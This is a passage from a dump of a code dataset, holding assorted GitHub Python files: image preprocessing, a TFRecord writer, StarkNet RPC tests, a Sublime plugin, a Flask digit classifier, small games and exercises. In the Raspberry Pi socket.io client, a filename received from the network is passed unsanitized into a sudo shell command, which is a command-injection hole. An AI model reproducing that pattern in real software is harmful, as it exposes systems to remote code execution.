self.throw_error(ErrorMessage.NO_POLYGON_ADDED)\n return None\n\n return self._polygons.pop().get_id()\n\n def is_polygon_in_use(self, uuid) -> bool:\n \"\"\"\n Checks, if a polygon is used in the model based on a given uuid\n\n :param uuid: the uuid of the polygon to check\n \"\"\"\n if uuid is None:\n self.throw_error(ErrorMessage.INPUT_NONE)\n return False\n return uuid in [polygon.get_id() for polygon in self._polygons]\n","repo_name":"Elite-Informatik/Analysistool-heterogeneous-vehicle-trajectory-data-sets","sub_path":"src/model/polygon_structure/polygon_structure.py","file_name":"polygon_structure.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19672426156","text":"import imutils\nimport cv2\nfrom skimage.segmentation import clear_border\nimport pytesseract\nimport skimage.io as io\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom itertools import accumulate\nimport os\nimport os.path\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import ImageGrid\nfrom math import *\n\n\"\"\"\nRead a dataset a of images\n-------------------\nReturn a list of images\n\n\"\"\"\ndef read_images(path_name,no_cars=426,ext='png'):\n images = []\n for i in range(no_cars):\n car_label = path_name.format(i,ext)\n if os.path.isfile(car_label):\n images.append(io.imread(car_label))\n elif os.path.isfile(path_name.format(i,\"jpg\")):\n images.append(path_name.format(i,\"jpg\"))\n elif os.path.isfile(path_name.format(i,\"JPG\")):\n images.append(path_name.format(i,\"JPG\"))\n return images\n\n \n \n \n\"\"\"\nCreate histogram distribution to see the intensity values and investigate if we cannot stretch of equalize the intensities to make the image lighter\n\"\"\"\ndef create_image_histogram(gray):\n hist,bins = np.histogram(gray.flatten(),256,[0,256])\n cdf = hist.cumsum()\n cdf_normalized = cdf * float(hist.max()) / cdf.max()\n return cdf_normalized\n \ndef get_blackhat(gray,kernel_width=13,kernel_height=5,kernel=None): # Reveal Dark Regions (Letter,Digits,Symbols) on Light Backgrounds\n if kernel == None:\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(kernel_width,kernel_height))\n blackhat = cv2.morphologyEx(gray.copy(),cv2.MORPH_BLACKHAT,kernel)\n return blackhat,kernel\n\n\n\n\ndef get_closing(gray,kernel_width=3,kernel_height=3,kernel=None): # Fill Small Holes and Identify Larger Structures: Reveal Light Characters\n if kernel == None:\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(kernel_width,kernel_height))\n closing = cv2.morphologyEx(gray.copy(),cv2.MORPH_CLOSE,kernel)\n return closing,kernel\n \n\ndef sobel_gradient(blackhat):\n grad_x = cv2.Sobel(blackhat,ddepth=cv2.CV_32F,dx=1,dy=0,ksize=-1)\n grad_x = np.absolute(grad_x)\n (min_val,max_val) = (np.min(grad_x),np.max(grad_x))\n grad_x = 255 * ((grad_x - min_val) / (max_val - min_val)) #rescale \n grad_x = grad_x.astype('uint8')\n return grad_x\n \ndef morphological_preprocessing(gray,square_kernel_width=3,square_kernel_height=3,blackhat_kernel_width=13,blackhat_kernel_height=5,gaussian_blur=5,verbose=False):\n light,light_kernel = get_closing(gray,square_kernel_width,square_kernel_height)\n blackhat,blackhat_kernel = get_blackhat(gray,kernel_width=blackhat_kernel_width,kernel_height=blackhat_kernel_height)\n threshold = cv2.threshold(light,0,255,cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\n grad_x = sobel_gradient(blackhat)\n smooth_grad_x = cv2.GaussianBlur(grad_x,(gaussian_blur,gaussian_blur),0)\n smooth_grad_x = cv2.morphologyEx(smooth_grad_x,cv2.MORPH_CLOSE,blackhat_kernel)\n smooth_thresh = cv2.threshold(smooth_grad_x, 0,255,cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\n morphological_thresh = cv2.erode(smooth_thresh,None,iterations=2)\n morphological_thresh = cv2.dilate(morphological_thresh,None,iterations=2)\n light_threshold = cv2.bitwise_and(morphological_thresh,morphological_thresh,mask=light)\n light_threshold = cv2.dilate(light_threshold,None,iterations=2)\n light_threshold = cv2.erode(light_threshold,None,iterations=1)\n return light_threshold.copy()\n\n\n\n#===================================================================== Light Manipulation ==================================\n\ndef hist_eq_(img): # Perform Histogram Equalization\n unique_elements, counts_elements = np.unique(img, return_counts=True)\n cdf_ = list(accumulate(counts_elements))\n hv_eq = lambda cdf_v,cdf_min,M,N,L:np.round(((cdf_v-cdf_min)/(M*N - cdf_min))*(L-1))\n M,N = img.shape\n intensity = 256\n hv = [hv_eq(cdfv,min(cdf_),M,N,intensity) for cdfv in cdf_]\n hv_eq = lambda cdf_v,cdf_min,M,N,L:np.round(((cdf_v-cdf_min)/(M*N - cdf_min))*(L-1)).astype(int)\n hv = [hv_eq(cdfv,min(cdf_),M,N,intensity) for cdfv in cdf_]\n i_ = np.zeros((M,N))\n for x,y in zip(unique_elements,hv):\n i_ = np.where(img==x,y,i_)\n return i_\n\ndef adjust_gamma(image, gamma=1.0):\n invGamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** invGamma) * 255\n for i in np.arange(0, 256)]).astype(\"uint8\")\n return cv2.LUT(image, table)\n#===================================================================== Plotting Images===================================================================== \n\ndef image_random_sample(images,k=16):\n image_data = images[:k]\n fig = plt.figure(figsize=(26, 20))\n grid = ImageGrid(fig, 111, # similar to subplot(111)\n nrows_ncols=(int(sqrt(k)), int(sqrt(k))), # creates 2x2 grid of axes\n axes_pad=0.1,) # pad between axes in inch.)\n\n for ax, im in zip(grid, image_data):\n ax.imshow(im)\n\n plt.title(\"Random Sample of Images\")\n plt.show()\n\ndef plot_histogram(gray,cdf_normalized):\n plt.plot(cdf_normalized, color = 'b')\n plt.hist(gray.flatten(),256,[0,256], color = 'r')\n plt.xlim([0,256])\n plt.title(\"Histogram Plot of the Grayscale Image\")\n plt.xlabel(\"Intensity\")\n plt.ylabel(\"Count\")\n plt.legend(('cdf','histogram'), loc = 'upper left')\n plt.show()\n \n \n\"\"\"\nInput: \nimg1: First Image\nimg2: Second Image\ntitle1: Title for First Image\ntitle2: Title for Second Image\n-----------------------------\n\"\"\"\n\ndef plot_images(img1,img2,title1=\"\",title2=\"\"):\n fig = plt.figure(figsize=(15,15))\n ax1 = fig.add_subplot(121) # 121 - 1 Row 2 Columns and Target 1st Column of Row\n ax1.imshow(img1,cmap='gray')\n ax1.set(xticks=[],yticks=[],title=title1)\n ax2 = fig.add_subplot(122) # 121 - 1 Row 2 Columns and Target 1st Column of Row\n ax2.imshow(img2,cmap='gray')\n ax2.set(xticks=[],yticks=[],title=title2) \n fig.show()\n ","repo_name":"whiterose-fsociety/License-Plate-Detection","sub_path":"Code/engine/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7846287693","text":"# Project Euler Problem 2\n# by Connor Halleck-Dube\n\na = 0\nb = 1\nx = 0\n\nwhile (b<4000000):\n if (b%2 == 0):\n x += b\n \n # Next values in fib sequence\n old = b\n b = a+b\n a = old\n \nprint(x)\n","repo_name":"sixfunctors/ProjectEuler","sub_path":"1-9/euler2.py","file_name":"euler2.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71052863231","text":"\"\"\"\nData organizing function: highly influenced by following script.\nhttps://github.com/tkarras/progressive_growing_of_gans/blob/master/dataset_tool.py\n\"\"\"\n\nimport os\nfrom glob import glob\nfrom time import time\nfrom PIL import Image\nimport numpy as np\nimport tensorflow as tf\n\n\ndef raise_error(condition, msg):\n if condition:\n raise ValueError(msg)\n\n\ndef shuffle_data(data, seed=0):\n np.random.seed(seed)\n np.random.shuffle(data)\n return data\n\n\ndef tfrecord_parser(img_shape):\n def __tfrecord_parser(example_proto):\n features = dict(image=tf.FixedLenFeature([], tf.string, default_value=\"\"))\n parsed_features = tf.parse_single_example(example_proto, features)\n feature_image = tf.decode_raw(parsed_features[\"image\"], tf.uint8)\n feature_image = tf.cast(feature_image, tf.float32)\n image = tf.reshape(feature_image, img_shape)\n return image\n return __tfrecord_parser\n\n\nclass TFRecorder:\n \"\"\" Formatting data as TFrecord \"\"\"\n\n def __init__(self,\n dataset_name: str,\n path_to_dataset: str,\n tfrecord_dir: str,\n print_progress: bool = True,\n progress_interval: int = 10):\n\n # raise_error(dataset_name not in ['celeba', 'lsun'], 'unknown data: %s' % dataset_name)\n self.dataset_name = dataset_name\n self.path_to_dataset = path_to_dataset\n self.path_to_save = '%s/%s' % (tfrecord_dir, dataset_name)\n\n if not os.path.exists(tfrecord_dir):\n os.makedirs(tfrecord_dir, exist_ok=True)\n self.print_progress = print_progress\n self.progress_interval = progress_interval\n\n def my_print(self, *args, **kwargs):\n if self.print_progress:\n print(*args, **kwargs)\n\n def create(self,\n resize_value: int,\n crop_value: int = None):\n\n image_files = glob('%s/*.png' % self.path_to_dataset)\n image_files += glob('%s/*.jpg' % self.path_to_dataset)\n image_files = sorted(image_files)\n\n def write(image_filenames, name, mode):\n full_size = len(image_filenames)\n self.my_print('writing %s as tfrecord (%s): size %i' % (self.dataset_name, mode, full_size))\n compress_opt = tf.python_io.TFRecordOptions(tf.python_io.TFRecordCompressionType.GZIP)\n with tf.python_io.TFRecordWriter(name, options=compress_opt) as writer:\n time_stamp = time()\n time_stamp_start = time()\n for n, single_image_path in enumerate(image_filenames):\n # open as pillow instance\n image = Image.open(single_image_path)\n w, h = image.size\n if crop_value is not None:\n # cropping\n upper = int(np.floor(h / 2 - crop_value / 2))\n lower = int(np.floor(h / 2 + crop_value / 2))\n left = int(np.floor(w / 2 - crop_value / 2))\n right = int(np.floor(w / 2 + crop_value / 2))\n image = image.crop((left, upper, right, lower))\n\n # resize\n image = image.resize((resize_value, resize_value))\n img = np.asarray(image)\n\n if img.shape != (resize_value, resize_value, 3):\n self.my_print('%s: %s' % (str(img.shape), single_image_path))\n img = img[:, :, :3]\n img = np.rint(img).clip(0, 255).astype(np.uint8)\n\n if n % self.progress_interval == 0:\n progress_perc = n / full_size * 100\n cl_time = time() - time_stamp\n whole_time = time() - time_stamp_start\n time_per_sam = cl_time / self.progress_interval\n self.my_print('%s: %d / %d (%0.1f %%), %0.4f sec/image (%0.1f sec) \\r'\n % (mode, n, full_size, progress_perc, time_per_sam, whole_time),\n end='', flush=True)\n time_stamp = time()\n\n ex = tf.train.Example(\n features=tf.train.Features(\n feature=dict(\n image=tf.train.Feature(bytes_list=tf.train.BytesList(value=[img.tostring()]))\n )))\n writer.write(ex.SerializeToString())\n\n # apply full data\n if crop_value is not None:\n write(image_files, '%s-c%i-r%i.tfrecord' % (self.path_to_save, crop_value, resize_value), mode='full')\n else:\n write(image_files, '%s-r%i.tfrecord' % (self.path_to_save, resize_value), mode='full')\n\n # if validation_split is not None:\n # raise_error(validation_split > 1, 'validation_split has to be in [0,1]')\n #\n # # apply train data\n # write(image_files[int(np.rint(len(image_files) * validation_split)):],\n # '%s-train.tfrecord' % self.path_to_save, mode='train')\n #\n # # apply test data\n # write(image_files[:int(np.rint(len(image_files) * validation_split))],\n # '%s-test.tfrecord' % self.path_to_save, mode='test')\n\n","repo_name":"asahi417/WassersteinGAN","sub_path":"wgan/dataset_tool.py","file_name":"dataset_tool.py","file_ext":"py","file_size_in_byte":5330,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"74914264830","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- \nfrom socketIO_client import SocketIO\nfrom time import sleep\nfrom datetime import datetime\nfrom os import system\n\n# should be synced with filserver.js\nuploadDir = 'public/files'\nLED_IMAGE_VIEWER = 'led-image-viewer'\nf = open('PITALK_PORT', 'r')\nPITALK_PORT = int(f.read())\nPITALK_SERVER = '192.168.1.1'\nsocketIO = SocketIO(PITALK_SERVER, PITALK_PORT)\n \ndef queueImage_cb(*args):\n #socketIO.emit('update_from_worker', \"io-client.py: finished update - %s\" % (datetime.now(),))\n #subprocess.call([/usr/local/bin/led-image-viewer ])\n print('queue_image: ' + args[0])\n system('sudo ' + LED_IMAGE_VIEWER + ' -t' + '5' + ' \"' + uploadDir + '/' + args[0] + '\"')\n socketIO.emit('image_display_done')\n\nsocketIO.on(\"queue_image\", queueImage_cb)\n\nwhile 1:\n socketIO.wait(seconds=1)","repo_name":"bazz1tv/led-wifi-matrix","sub_path":"io-client.py","file_name":"io-client.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26832299713","text":"\"\"\"\nTests RPC rpc_call\n\"\"\"\n\nimport pytest\nfrom starkware.starknet.public.abi import get_selector_from_name\n\nfrom .rpc_utils import rpc_call\n\n\ndef test_call(deploy_info):\n \"\"\"\n Call contract\n \"\"\"\n contract_address: str = deploy_info[\"address\"]\n\n resp = rpc_call(\n \"starknet_call\", params={\n \"contract_address\": contract_address,\n \"entry_point_selector\": hex(get_selector_from_name(\"get_balance\")),\n \"calldata\": [],\n \"block_hash\": \"latest\"\n }\n )\n result = resp[\"result\"]\n\n assert isinstance(result[\"result\"], list)\n assert len(result[\"result\"]) == 1\n assert result[\"result\"][0] == \"0x0\"\n\n\n# pylint: disable=unused-argument\ndef test_call_raises_on_incorrect_contract_address(deploy_info):\n \"\"\"\n Call contract with incorrect address\n \"\"\"\n ex = rpc_call(\n \"starknet_call\", params={\n \"contract_address\": \"0x07b529269b82f3f3ebbb2c463a9e1edaa2c6eea8fa308ff70b30398766a2e20c\",\n \"entry_point_selector\": hex(get_selector_from_name(\"get_balance\")),\n \"calldata\": [],\n \"block_hash\": \"latest\"\n }\n )\n\n assert ex[\"error\"] == {\n \"code\": 20,\n \"message\": \"Contract not found\"\n }\n\n\ndef test_call_raises_on_incorrect_selector(deploy_info):\n \"\"\"\n Call contract with incorrect entry point selector\n \"\"\"\n contract_address: str = deploy_info[\"address\"]\n\n ex = rpc_call(\n \"starknet_call\", params={\n \"contract_address\": contract_address,\n \"entry_point_selector\": hex(get_selector_from_name(\"xxxxxxx\")),\n \"calldata\": [],\n \"block_hash\": \"latest\"\n }\n )\n\n assert ex[\"error\"] == {\n \"code\": 21,\n \"message\": \"Invalid message selector\"\n }\n\n\ndef test_call_raises_on_invalid_calldata(deploy_info):\n \"\"\"\n Call contract with incorrect calldata\n \"\"\"\n contract_address: str = deploy_info[\"address\"]\n\n ex = rpc_call(\n \"starknet_call\", params={\n \"contract_address\": contract_address,\n \"entry_point_selector\": hex(get_selector_from_name(\"get_balance\")),\n \"calldata\": [\"a\", \"b\", \"123\"],\n \"block_hash\": \"latest\"\n }\n )\n\n assert ex[\"error\"] == {\n \"code\": 22,\n \"message\": \"Invalid call data\"\n }\n\n\n# This test will fail since we are throwing a custom error block_hash different from `latest`\n@pytest.mark.xfail\ndef test_call_raises_on_incorrect_block_hash(deploy_info):\n \"\"\"\n Call contract with incorrect block hash\n \"\"\"\n contract_address: str = deploy_info[\"address\"]\n\n ex = rpc_call(\n \"starknet_call\", params={\n \"contract_address\": contract_address,\n \"entry_point_selector\": hex(get_selector_from_name(\"get_balance\")),\n \"calldata\": [],\n \"block_hash\": \"0x0\"\n }\n )\n\n assert ex[\"error\"] == {\n \"code\": 24,\n \"message\": \"Invalid block hash\"\n }\n","repo_name":"amanusk/starknet-devnet","sub_path":"test/rpc/test_rpc_call.py","file_name":"test_rpc_call.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"34850431134","text":"\nfrom PyQt5 import Qt\nfrom PyQt5.QtWidgets import QDialog, QTabWidget, QVBoxLayout, QPushButton, QHBoxLayout, QWidget\nfrom PyQt5.QtCore import Qt\n\nfrom pyqt_transparent_timer.settingsDialog.timerSettingsWidget.timerSettingsWidget import TimerSettingsWidget\n\n\nclass SettingsDialog(QDialog):\n def __init__(self):\n super().__init__()\n self.__initUi()\n\n def __initUi(self):\n self.setWindowTitle('Settings')\n self.setWindowFlags(Qt.WindowMinMaxButtonsHint | Qt.WindowCloseButtonHint)\n\n self.__timerSettingsWidget = TimerSettingsWidget()\n\n topWidget = QTabWidget()\n topWidget.addTab(self.__timerSettingsWidget, 'Timer')\n\n self.__okBtn = QPushButton()\n self.__okBtn.clicked.connect(self.accept)\n self.__okBtn.setText('OK')\n\n closeBtn = QPushButton()\n closeBtn.clicked.connect(self.close)\n closeBtn.setText('Cancel')\n\n lay = QHBoxLayout()\n lay.addWidget(self.__okBtn)\n lay.addWidget(closeBtn)\n lay.setContentsMargins(0, 0, 0, 0)\n\n bottomWidget = QWidget()\n bottomWidget.setLayout(lay)\n\n lay = QVBoxLayout()\n lay.addWidget(topWidget)\n lay.addWidget(bottomWidget)\n self.setLayout(lay)\n\n def __ok(self):\n self.accept()\n\n def get_time(self):\n return self.__timerSettingsWidget.get_time()","repo_name":"yjg30737/pyqt-transparent-timer","sub_path":"pyqt_transparent_timer/settingsDialog/settingsDialog.py","file_name":"settingsDialog.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"5096082895","text":"#!/usr/bin/env python\\n\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nimport sublime\nimport sublime_plugin\nfrom . import te_utils as utils\n\n\nclass TsqlEasyActivityMonitorCommand(sublime_plugin.TextCommand):\n # OUTER APPLY Fn_get_sql(sp.sql_handle)\n # NOTE: pyodbc return empty result with comment like:\n # -- OUTER APPLY sys.dm_exec_sql_text(sp.sql_handle)\n sql_query = '''\n SELECT\n sp.spid,\n /* TEXT as query, */\n Db_name(sp.dbid) as dbname,\n sp.cpu,\n sp.memusage,\n sp.status,\n sp.loginame,\n sp.hostname,\n sp.blocked,\n sp.waittime,\n sp.lastwaittype,\n sp.waitresource,\n convert(varchar(255), sp.login_time) as login_time,\n convert(varchar(255), sp.last_batch) as last_batch,\n sp.cmd,\n sp.open_tran,\n sp.program_name\n FROM sys.sysprocesses as sp\n /* OUTER APPLY sys.dm_exec_sql_text(sp.sql_handle) */\n WHERE sp.spid > ?\n ORDER BY sp.spid\n '''\n\n def run(self, edit):\n view = self.prepare_view(edit)\n self.show(view)\n\n def set_title(self, view):\n current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n self.title = 'Activity monitor (at %s)' % current_time\n view.set_name(self.title)\n\n def prepare_view(self, edit):\n view = self.view.window().new_file()\n view.settings().set('te_activity_monitor', True)\n syntax_file = utils.te_get_setting('te_report_syntax', utils.DEFAULT_REPORT_SYNTAX)\n view.set_syntax_file(syntax_file)\n return view\n\n def show(self, view):\n self.set_title(view)\n min_pid = utils.te_get_setting('te_activity_monitor_min_pid', 50)\n sql_params = (min_pid,)\n text = utils.te_show_data(title=self.title, sql_query=self.sql_query, sql_params=sql_params, setup_columns='te_activity_monitor_columns')\n view.settings().set(\"word_wrap\", False)\n view.run_command('tsql_easy_insert_text', {'position': 0, 'text': text + '\\n\\n'})\n view.set_scratch(True)\n view.set_read_only(True)\n\n def is_visible(self, *args):\n if utils.ConDispatcher.is_sqlserver():\n return True\n return False\n\n\nclass TsqlEasyActivityMonitorRefreshCommand(TsqlEasyActivityMonitorCommand):\n\n def prepare_view(self, edit):\n view = self.view\n view.set_read_only(False)\n view.erase(edit, sublime.Region(0, view.size()))\n return view\n\n def is_visible(self, *args):\n is_actmon = self.view.settings().get('te_activity_monitor', False)\n\n if is_actmon:\n return True\n return False\n","repo_name":"tosher/TSQLEasy","sub_path":"base/te_activity_monitor.py","file_name":"te_activity_monitor.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"60"} +{"seq_id":"72432337790","text":"from flask import Flask,request, jsonify\nimport numpy as np\nfrom PIL import Image\nfrom keras.models import load_model\napp = Flask(__name__)\n\ndef saveImage():\n import cv2 as cv\n from keras.datasets import mnist\n (trainData, trainLbl), (testData, testLbl) = mnist.load_data()\n cv.imwrite('testImage2.png', testData[2])\n# saveImage()\n\ndef callAPI():\n @app.route('/hello', methods=['POST'])\n def getDigitsFromImage():\n print(\"billi\")\n img = request.files['file']\n print(type(img))\n model = load_model('model.hdf5')\n image = Image.open(img).convert('L')\n image = image.resize((28, 28))\n x = np.array(image)\n x = x.reshape((1, 784))\n x = x / 255.0\n prediction = model.predict(x)\n digit = np.argmax(prediction)\n print(digit)\n return str(digit)\n\n if __name__ == \"__main__\":\n app.run(debug=True)\ncallAPI()\n\n\n","repo_name":"usamafayaz/MachineLearning","sub_path":"DigitDetectorAPI.py","file_name":"DigitDetectorAPI.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71192912512","text":"import random\r\n\r\n\r\ndef main():\r\n print('-----------------------------')\r\n print('Welcome to Skeleton Scuffle!')\r\n print('-----------------------------')\r\n\r\n class_name, user_health, max_damage, damage_chance = player_generator()\r\n monster_health = 33\r\n round = 1\r\n print(f'Good luck, mighty {class_name}!')\r\n\r\n while check_for_winner(user_health, monster_health) == True:\r\n dodged_damage, user_damage = user_turn_damage(max_damage)\r\n monster_damage = computer_turn_damage()\r\n if dodged_damage == 0:\r\n if hit_check(damage_chance) == True:\r\n print(f'Round {round}:')\r\n print(f'Your {class_name} hits the skeleton for {user_damage} points of damage')\r\n print(f'The skeleton hits your {class_name} for {monster_damage} points of damage')\r\n user_health -= monster_damage\r\n monster_health -= user_damage\r\n print(f'Results: {class_name} - {user_health} health, Skeleton - {monster_health} health')\r\n round += 1\r\n print('1')\r\n else:\r\n print(f'Round {round}:')\r\n print(f'Your {class_name} hits the skeleton for {user_damage} points of damage')\r\n print(f'The skeleton misses your {class_name} this turn.')\r\n monster_health -= user_damage\r\n print(f'Results: {class_name} - {user_health} health, Skeleton - {monster_health} health')\r\n round += 1\r\n print('2')\r\n else:\r\n if hit_check(damage_chance) == True:\r\n print(f'Round {round}:')\r\n print(f'Your {class_name} hits the skeleton for {user_damage} points of damage')\r\n print(f'The skeleton dodged {dodged_damage} points of that damage')\r\n print(f'The skeleton hits your {class_name} for {monster_damage} points of damage')\r\n user_health -= monster_damage\r\n monster_health -= user_damage - dodged_damage\r\n print(f'Results: {class_name} - {user_health} health, Skeleton - {monster_health} health')\r\n round += 1\r\n print('3')\r\n else:\r\n print(f'Round {round}:')\r\n print(f'Your {class_name} hits the skeleton for {user_damage} points of damage')\r\n print(f'The skeleton dodged {dodged_damage} points of that damage')\r\n print(f'The skeleton misses your {class_name} this turn.')\r\n monster_health -= user_damage - dodged_damage\r\n print(f'Results: {class_name} - {user_health} health, Skeleton - {monster_health} health')\r\n round += 1\r\n print('4')\r\n\r\n if class_name == 'Bacteria':\r\n if user_health > monster_health:\r\n print('*************************************************')\r\n print(f\"Your {class_name} has won the battle, I don't know how but congratulations!\")\r\n print('*************************************************')\r\n else:\r\n print('*************************************************')\r\n print(f\"Your {class_name} has lost the battle, it's a bacteria what else did you expect!\")\r\n print('*************************************************')\r\n else:\r\n if user_health > monster_health and user_health > 0:\r\n print('*************************************************')\r\n print(f'Your {class_name} has won the battle, congratulations!')\r\n print('*************************************************')\r\n else:\r\n print('*************************************************')\r\n print(f'Your {class_name} has lost the battle, sorry try again!')\r\n print('*************************************************')\r\n\r\n\r\ndef computer_turn_damage():\r\n monster_damage = random.randint(1, 4)\r\n return monster_damage\r\n\r\n\r\ndef user_turn_damage(max_damage):\r\n user_damage = die_roll(max_damage)\r\n dodged_damage = 0\r\n if random.randint(1, 10) == 1:\r\n dodged_damage += int(user_damage * 0.25)\r\n return dodged_damage, user_damage\r\n else:\r\n return dodged_damage, user_damage\r\n\r\n\r\ndef die_roll(max_damage):\r\n return random.randint(1, max_damage)\r\n\r\n\r\ndef hit_check(damage_chance):\r\n if random.randint(1, 100) <= damage_chance:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef check_for_winner(user_health, monster_health):\r\n if user_health <= 0 or monster_health <= 0:\r\n return False\r\n else:\r\n return True\r\n\r\n\r\ndef player_generator():\r\n print('1. Fighter 2. Mage 3. Thief 4. Engineer 5. Bacteria')\r\n while True:\r\n try:\r\n player_class = int(input('Choose your character class (1, 2, 3, 4, or 5): '))\r\n if player_class == 1:\r\n return 'Fighter', 25, 10, 70\r\n elif player_class == 2:\r\n return 'Mage', 18, 14, 60\r\n elif player_class == 3:\r\n return 'Thief', 18, 10, 50\r\n elif player_class == 4:\r\n return 'Engineer', 16, 18, 65\r\n elif player_class == 5:\r\n return 'Bacteria', 1, 1000, 99\r\n else:\r\n print('Please enter a valid class')\r\n continue\r\n except:\r\n print('Please enter a valid class')\r\n continue\r\n\r\nmain()","repo_name":"Mason-Di-Croce/python_school_projects","sub_path":"monster_encounter_release_canidate.py","file_name":"monster_encounter_release_canidate.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10110579052","text":"a,b = map(int,input().split())\ninput_list = list(map(int,input().split()))\n\ninput_list.sort()\n\ndef binary_search(data,start,end,M):\n answer = 0\n while start <= end: ## start랑 end가 같아지면\n mid = (start+end)//2\n\n tree_get = sum([x-mid for x in data if x-mid >= 0])\n\n\n\n if tree_get >= M:\n answer = mid\n start = mid + 1\n\n else:\n end = mid - 1\n\n return answer\n\n\nresult = binary_search(input_list,0,input_list[-1],b)\nprint(result)\n","repo_name":"bernard-choi/Algorithm_Training","sub_path":"이분탐색/2805_나무자르기.py","file_name":"2805_나무자르기.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39032035978","text":"# 실버4\n# 숫자놀이\ndef replace_solve(n):\n s = dic[n]\n return s\n\ndef solve(lst):\n for i in lst:\n lst_str = list(str(i))\n lst_str = \" \".join( list(map(replace_solve, lst_str)) )\n result.append([lst_str, i])\n result.sort(key= lambda x : x[0])\n\n return result\n\nif __name__ == \"__main__\":\n M, N = map(int, input().split())\n dic = {'0':\"zero\", '1':\"one\", '2':\"two\", '3':\"three\", '4':\"four\", '5':\"five\", '6':\"six\", '7':\"seven\", '8':\"eight\", '9':\"nine\"}\n result = []\n\n T = [i for i in range(M, N+1)]\n result = solve(T)\n\n cnt = 0\n for i in result:\n cnt += 1\n\n if cnt%10 == 0: print(i[1])\n else: print(i[1], end=\" \")\n\n\"\"\"\n8 28\n\"\"\"","repo_name":"woghks778803/algorithm-study","sub_path":"backjoon/Sliver/1755.py","file_name":"1755.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"45745840360","text":"'''\n* Difficulty: Easy\n* Asked by: Google (Also Amazon)\n* Problem: Given a list of numbers and a number k, return whether any two numbers from the list add up to k.\nFor example, given [10, 15, 3, 7] and k of 17, return true since 10 + 7 is 17.\n* Bonus: Can you do this in one pass?\n\nRunTime: O(n)\nSpace Complexity: O(n)\n'''\n\ndef find_sum_points(nums, sum):\n s = set()\n for i in range(len(nums)):\n missing_num = sum - nums[i]\n if missing_num in s: #Note that the time Complexity of the search function for a set is O(1) because a set is implemented as a Hash Table\n return nums[i], missing_num\n else:\n s.add(nums[i])\n return \"There are no two numbers that add up to k \"\n\n\n\n\nprint (find_sum_points([10, 15, 3, 7], 17))\nprint (find_sum_points([1,2,3,4,5,6,7,8,9,10], 17))\nprint (find_sum_points([10, 15, 3, 7], 53))\nprint (find_sum_points([10,5,3,4,8,2,2], 5))\n","repo_name":"PatrickGhadban/DailyCodingProblem","sub_path":"daily1.py","file_name":"daily1.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2955241020","text":"import os\nimport fitz\nimport qrcode\n\npdf_dir=[]\ndef get_pdffile():\n\tdocunames = os.listdir()\n\tfor docuname in docunames:\n\t\tif os.path.splitext(docuname)[1]=='.pdf': #目录下包含.pdf的文件\n\t\t\tpdf_dir.append(docuname)\n\ndef conver_img():\n\tfor file in pdf_dir:\n\t\t#pdfz转长图片\n\t\tcommand = \"python3 pdf-to-long-image.py --pdf_path \"+file+\"\"\n\t\tos.system(command)\n\npngpath = []\ndef get_pngfile():\n\tfilePath = os.getcwd()\n\tfor root, dirs, files in os.walk(filePath):\n\t for file in files:\n\t if os.path.splitext(file)[1] == '.jpg':\n\t pngpath.append(os.path.join(file))\n\tprint(\"开始生成二维码\")\n\tprint(\"图片数量为：\"+str(len(pngpath)))\n\tfor file in pngpath:\n\t\tcontext = 'http://172.16.20.94/'+file\n\t\tprint(context)\n\t\timg = qrcode.make(context)\n\t\tsave_path='./erweima/'\n\t\timgname = file.split(\".\")[0]\n\t\timg.save(save_path+imgname+'.jpg')\n\tfilePath = os.getcwd() + \"/erweima/\"\n\terweimapath = []\n\tfor root, dirs, files in os.walk(filePath):\n\t for file in files:\n\t if os.path.splitext(file)[1] == '.jpg':\n\t erweimapath.append(os.path.join(file))\n\tprint(\"二维码数量：\"+str(len(pngpath)))\n\nif __name__=='__main__':\n\tget_pdffile()\n\tconver_img()\n\tget_pngfile()\n","repo_name":"HideInk/QrCode","sub_path":"QrCode.py","file_name":"QrCode.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71534405950","text":"import socket\r\ns=socket.socket()\r\nprint('Socket Created')\r\ns.bind(('localhost',10321))\r\ns.listen(3)\r\nprint('Waiting for connection...')\r\n\r\nwhile 